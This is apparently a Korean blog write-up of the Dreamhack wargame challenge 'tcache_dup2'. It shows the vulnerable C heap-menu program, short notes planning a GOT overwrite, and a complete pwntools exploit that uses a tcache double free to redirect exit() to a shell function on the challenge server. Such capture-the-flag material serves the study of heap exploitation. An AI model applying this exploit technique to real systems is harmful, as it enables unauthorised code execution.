[Dreamhack Wargame] tcache_dup2

don't panic·2023년 12월 11일
0

System Hacking wargame

목록 보기
14/39

code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
    size_t size;

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    ptr[idx] = malloc(size);

    if (!ptr[idx])
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size-1);
}

void modify_heap() {
    size_t size, idx;

    printf("idx: ");
    scanf("%ld", &idx);

    if (idx >= 7)
        exit(0);

    printf("Size: ");
    scanf("%ld", &size);

    if (size > 0x10)
        exit(0);

    printf("Data: ");
    read(0, ptr[idx], size);
}

void delete_heap() {
    size_t idx;

    printf("idx: ");
    scanf("%ld", &idx);
    if (idx >= 7)
        exit(0);

    if (!ptr[idx])
        exit(0);

    free(ptr[idx]);
}

void get_shell() {
    system("/bin/sh");
}
int main() {
    int idx;
    int i = 0;

    initialize();

    while (1) {
        printf("1. Create heap\n");
        printf("2. Modify heap\n");
        printf("3. Delete heap\n");
        printf("> ");

        scanf("%d", &idx);

        switch (idx) {
            case 1:
                create_heap(i);
                i++;
                break;
            case 2:
                modify_heap();
                break;
            case 3:
                delete_heap();
                break;
            default:
                break;
        }
    }
}

checksec

  • Partial RELRO, NX 보호기법이 있기 때문에 GOT overwrite을 하면 될 것 같다.
  • exit_gotget_shell의 주소로 overwrite하고, delete_heap()idx로 7을 주면 exit하면서 get_shell이 실행될 것이다.

최종 exploit.py

from pwn import *

p = remote('host3.dreamhack.games', 19354)
e = ELF('./tcache_dup2')
libc = ELF('./libc-2.30.so')

def create(size, data):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Size: ', str(size))
    p.sendafter(b'Data: ', data)
def modify(idx, size, data):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'idx: ', str(idx))
    p.sendlineafter(b'Size: ', str(size))
    p.sendafter(b'Data: ', data)
def delete(idx):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'idx: ', str(idx))

get_shell = e.symbols['get_shell']
exit_got = e.got['exit']
# double free
create(16, b'AAAA') # allocate ptr[0]
create(16, b'AAAA') # allocate ptr[1]
delete(0) # free ptr[0]
delete(1)
modify(1, 9, b'B' * 8 + b'\x00') # modify key of ptr[0]
delete(1)
create(16, p64(exit_got))
create(16, b'AAAA')
create(16, p64(get_shell))
delete(8)
p.interactive()

0개의 댓글